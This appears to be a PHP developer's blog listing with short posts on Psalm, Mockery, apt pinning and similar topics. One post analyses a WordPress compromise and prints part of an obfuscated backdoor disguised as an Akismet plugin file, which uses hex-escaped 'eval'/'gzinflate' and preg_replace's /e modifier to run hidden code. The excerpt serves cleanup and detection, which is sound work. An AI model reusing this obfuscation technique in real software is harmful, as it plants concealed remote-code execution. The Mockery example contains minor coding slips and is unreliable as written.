I’ve been using the github copilots agent a bit for work and personal stuff. Some random findings below … Continue reading “github copilot agent dabblings”
PHP psalm annotations
This is more of a note for myself, as I keep forgetting the syntax. See also https://github.com/vimeo/psalm and
List of Arrays
Given an 2d array like :
[
[ 'name' => 'Pickle', 'age' => 4 ],
[ 'name' => 'David', 'age' => 42 ],
[ 'name' => 'Sooty', 'age' => 13 ],
]
PHP code that expects a data structure in that same shape can use an annotation like :
/**
* @psalm-param list<array{name: string, age: int}>
*/
Alternatively that can be used on a @psalm-return ….
Fixed List of Possible Things
If you have a fixed list of stringy things being returned you might have :
/**
* @psalm-return 'Foo'|'Bar'|'Baz'
*/
Hello (again) world
I don’t blog very often.
I should probably stop bothering with the automated twitter compilations.
In other news, some legacy PHP code I look after had this :
<?php
// ...
require('#something.inc.php');
Yes, that’s including a file name that starts with a ‘#’ … which while it’s a clever idea, it’s also a pain in the bum to edit in Vim etc all the time.
PHP Generators – an example
I’ve ignored generators for sometime in PHP, but recently realised why they can be quite handy 🙂
As an example, imagine you are querying a web service, which returns data in chunks of up to 100 results….
Mockery (test doubles/mocking dependencies)
[This is a relatively old post I think I forgot to publish….]
Previously, I’d only used PHPUnit’s mock implementation; however lately I’ve been exposed to Mockery.
While they both achieve broadly the same result (at least from my point of view), here’s an example of how to mock dependencies with Mockery.
Class to test:
class TestMe {
private $db;
public function __construct(PDO $db) {
$this->db = $db;
}
public function doesSomethingImportant(array $data) : bool {
$stmt = $this->db->prepare("UPDATE my_table SET field2 = :field2 WHERE field1 = :field1");
return $stmt->execute(['field1' => $data['field1'], 'field2' => $data['field2']);
}
}
And to test ….
....
use Mockery as m;
class MyTest extends \PHPUnit\Framework\TestCase {
public function tearDown() {
m::close();
parent::tearDown();
}
public function testDoesSomethingImpotant() {
$fakePdo = m::mock(\PDO::class);
$stmt = m::mock(\PDOStatement::class);
$stmt
->shouldReceive('execute')
->withArgs(['field1' => 'hello', 'field2' => 'world'])
->once()
->andReturn(true);
$fakePdo
->shouldReceive('prepare')
->withArgs(['UPDATE my table SET field2 = :field2 WHERE field1 = :field1'])
->once()
->andReturn($stmt);
$testClass = new TestMe($fakePdo);
$this->assertTrue(
$testClass->updateSomething(['field1' => 'hello', 'field2' => 'world']);
}
}
So that’s all well and good, and with a little imagination you can see how a method that does some calculation could be tested to ensure it does the calculation correctly and performs the appropriate database query. It obviously requires you inject all dependencies in to the class (else you can’t pass in the appropriate mocks!)
While this test is isolated from the underlying database, it doesn’t ensure you code will work – what if someone’s changed the database schema – your test will still (incorrectly) pass …
You can also create ‘fake’ errors throughout your code which might help give you a higher code coverage score 🙂
$pdo = m::mock(PDO::class);
$pdo->shouldReceive('prepare')
->withArgs(['bad sql'])
->andThrow(PDOException::class);
$pdo->shouldReceive('prepare')
->withArgs(['whatever good sql'])
->once()
->andReturn($stmt);
$pdo->shouldReceive('prepare')
->withArgs(['more good sql'])
->once()
->andReturn($stmt);
....
Random wordpress malware
A customer’s server was compromised ages ago with lots of lots of WordPress malware.
The developers are now on top of it, thanks to a combination of :
* Removing wordpress’s write permission (moving over to just use SFTP)
* Adding maldet (Linux Malware Detection).
* Tightening up the firewall so only incoming connections to specific ports are allowed.
* Stopping anyone except Postfix from being able to send out email (e.g iptables -I OUTPUT -p tcp -m multiport --dpots 25,587 -m state --state NEW -m owner ! --uid-owner 106 -j REJECT and of course logging attempts)
Most of the malware was easy to spot – references to eval / base64_decode – which are easy to ack-grep for. Or the malware would launch processes which would retain their /proc/$pid/environ file – and therefore be quite easy to locate.
However, one launched a perl process which was difficult to track down – partly because it wiped it’s /proc/$pid/environ file so it was hard to know which site it was running from. Thankfully, there was a filehandle to the launching code (/tmp file that was deleted on execution) (/proc/$pid/fd/xx) which could be easily read – which revealed enough information to lead to it’s identification.
So, behold /wp-content/plugins/akismet.php (so believable file name)
Random interesting contents below:
/**
* Functions for reading, writing, modifying, and deleting files on the file system.
* Includes functionality for theme-specific files as well as operations for uploading,
* archiving, and rendering output when necessary.
*
* @package WordPress
* @subpackage Administration
*
* @id : c78fb310d8ec1daaba40e84241bc4d42dc
*/
/** The descriptions for theme files. */
$hash = "ff6fd53c4b437772493471d68799f69d";
$search = '';
$wp_file_descriptions = array(
'index.php' => 'Main Index Template',
'style.css' => 'Stylesheet',
'editor-style.css' => 'Visual Editor Stylesheet',
'editor-style-rtl.css' => 'Visual Editor RTL Stylesheet',
'rtl.css' => "\x65val.gz"."in\x66late",
'comments.php' => 'Comments',
...
for($i = 0; $i < strlen($wp_file_descriptions['md5_check.php']); $i = $i+2)
$search .= '%'.substr($wp_file_descriptions['md5_check.php'], $i, 2);
$wp_template = @preg_replace("/([a-z0-9-%]+).([a-z-@]+).([a-z]+)/\x65", "$2($3(urldecode('$1')))", $search.".@".$wp_file_descriptions['rtl.css']);
Note:
0x65 == ‘e’, and 0x66 == ‘f’, so the preg_replace is executing code with the \e modifier.
The code that eventually gets executed opens port 26450 (tcp) and was presumably some sort of backdoor.
dotdeb – apt package pinning
As of last night, Debian Security released PHP 5.4.44 for Wheezy. Wheezy shipped with PHP 5.4.12 or something like that.
DotDeb is currently on 5.4.43, and if you’ve been using it based on the assumption that it has a newer version of a package over Debian, then an upgrade will leave your PHP install in a mess (e.g. no php5-gearman or php5-imagick).
To fix this, the following in e.g. /etc/apt/preferences.d/dotdeb will help :
Package: * Pin: origin packages.dotdeb.org Pin-Priority: 1001
This should make apt choose dotdeb packages over Debian, even if Debian contains a newer version.
i.e. stop apt relying on just the package version number, and previously dotdeb always had a higher one.
PHP 5.4 + xcache -> PHP 5.6 + Zend OpCache memory usage
In relatively unscientific tests, it seems moving from PHP5.4 with xcache to PHP 5.6 with Zend’s OpCache can lead to approximately 50% memory reduction.
(xcache was set to have a 64mb size, Zend OpCache is also using 64mb of memory).
Continue reading “PHP 5.4 + xcache -> PHP 5.6 + Zend OpCache memory usage”
ack-grep config – ackrc – adding new file types
I needed to add some more file types for ack-grep to find / search when I’m looking for PHP code that resides in files with non-standard extensions (e.g. something.def, something.inc etc).
Continue reading “ack-grep config – ackrc – adding new file types”
PostgreSQL unbuffered queries and PHP (cursors)
From using MySQL, I’ve used the ‘unbuffered queries‘ feature a number of times. It’s where you don’t fetch the entire resultset into memory at once – which is necessary if you’re retrieving more data than you have memory available. If’s often also generally gets results/data back to you sooner.
Continue reading “PostgreSQL unbuffered queries and PHP (cursors)”